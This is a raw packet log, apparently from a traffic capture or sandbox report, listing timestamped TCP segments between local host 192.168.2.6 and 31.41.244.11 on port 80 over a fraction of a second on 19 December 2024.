Dec 19, 2024 16:10:32.157660007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.157735109 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.157737017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.157800913 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.158982992 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.158996105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.159061909 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.300340891 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.300364017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.300404072 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.300436974 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.300681114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.300764084 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.300776005 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.300827026 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.301582098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.301688910 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.301692963 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.302052021 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.303098917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.303149939 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.303157091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.303339005 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.303385019 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.304261923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.304327965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.304567099 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.304614067 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.305172920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.305186033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.305213928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.305236101 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.306013107 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.306137085 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.306191921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.316363096 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.316385031 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.316401958 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.316435099 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.316433907 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.316448927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.316454887 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.316463947 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.316479921 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.316497087 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.316523075 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.316668034 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.316685915 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.316699982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.316725969 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.316771030 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.317152023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.317276955 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.317289114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.317312002 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.317325115 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.317337036 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.317349911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.317352057 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.317400932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.317620993 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.317635059 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.317648888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.317672014 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.317706108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.317884922 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.317898035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.317913055 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.317925930 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.317956924 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.317996025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.320894003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.321052074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.321059942 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.321146965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.321176052 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.321190119 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.321252108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.321414948 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.321429014 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.321475983 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.321995020 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.322007895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.322048903 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.322082996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.322417021 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.322463989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.322526932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.323587894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.323652983 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.323673964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.323805094 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.324314117 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.324405909 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.324497938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.324549913 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.325295925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.325370073 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.325431108 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.325519085 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.326292038 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.326421022 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.326440096 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.326484919 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.327354908 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.327469110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.327502966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.327593088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.328248978 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.328357935 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.328423977 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.328469038 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.329257011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.329324961 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.329336882 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.329380035 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.330424070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.330476046 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.330533981 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.331037045 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.331192017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.331271887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.331290007 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.331326962 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.332320929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.332412004 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.332439899 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.332465887 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.333180904 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.333257914 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.333276033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.333321095 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.334201097 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.334214926 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.334259987 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.334290028 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.335160017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.335216045 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.335266113 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.335458040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.336127996 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.336142063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.336185932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.336225033 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.337160110 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.337208986 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.337323904 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.337412119 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.338413954 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.338464022 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.338648081 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.338747025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.339243889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.339307070 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.339345932 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.339401007 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.340055943 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.340100050 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.340178967 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.340270042 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.341123104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.341142893 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.341192007 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.342014074 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.342061043 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.342093945 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.342129946 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.342992067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.343008995 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.343067884 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.343950033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.344011068 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.344047070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.344094992 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.344948053 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.344961882 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.344994068 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.345017910 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.345922947 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.345937014 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.345988035 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.346930981 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.346976995 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.347069025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.347114086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.347831964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.347887993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.347940922 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.347994089 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.348921061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.348984003 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.349312067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.349374056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.349981070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.349993944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.350045919 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.351278067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.351290941 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.351340055 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.502939939 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.502958059 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.503010988 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.506642103 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.506659031 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.506670952 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.506680965 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.506690025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.506695032 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.506721020 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.506753922 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.511418104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.511436939 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.511478901 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.511508942 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.511694908 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.511734009 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.511841059 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.511883974 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.512583017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.512628078 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.512713909 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.512902975 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.513524055 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.513578892 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.514252901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.514266014 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.514318943 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.514879942 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.514945030 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.514947891 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.514983892 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.515894890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.515927076 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.515964031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.515978098 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.516952038 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.517008066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.517072916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.518135071 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.518161058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.518194914 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.518210888 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.518800020 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.518852949 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.519479990 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.519548893 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.520165920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.520180941 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.520222902 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.520253897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.520464897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.520540953 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.520684004 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.520766973 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.521862984 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.521878958 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.521908045 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.521929979 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.522663116 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.522722960 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.522754908 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.522803068 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.523606062 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.523669004 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.523725033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.523936987 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.524566889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.524630070 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.524687052 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.524771929 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.525293112 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.525346041 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.525382996 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.525459051 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.526261091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.526406050 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.526468992 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.527224064 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.527266979 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.527301073 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.527652025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.528300047 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.528312922 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.528345108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.528366089 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.529463053 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.529475927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.529504061 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.529529095 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.530944109 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.530956030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.531001091 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.531357050 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.531368971 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.531400919 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.531428099 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.532342911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.532355070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.532413960 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.533498049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.533720970 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.533781052 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.533813953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.534251928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.534569025 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.534579992 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.534616947 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.535824060 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.535837889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.535902977 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.536375999 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.536600113 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.536655903 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.537548065 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.537584066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.537600994 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.537631989 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.538364887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.538513899 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.538564920 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.539376974 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.539441109 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.539475918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.539518118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.540308952 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.540396929 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.540479898 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.540524006 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.541383982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.541440010 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.541616917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.541768074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.542459011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.542471886 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.542525053 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.542561054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.543302059 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.543350935 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.543555021 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.543597937 CET	49881	80	192.168.2.6	31.41.244.11
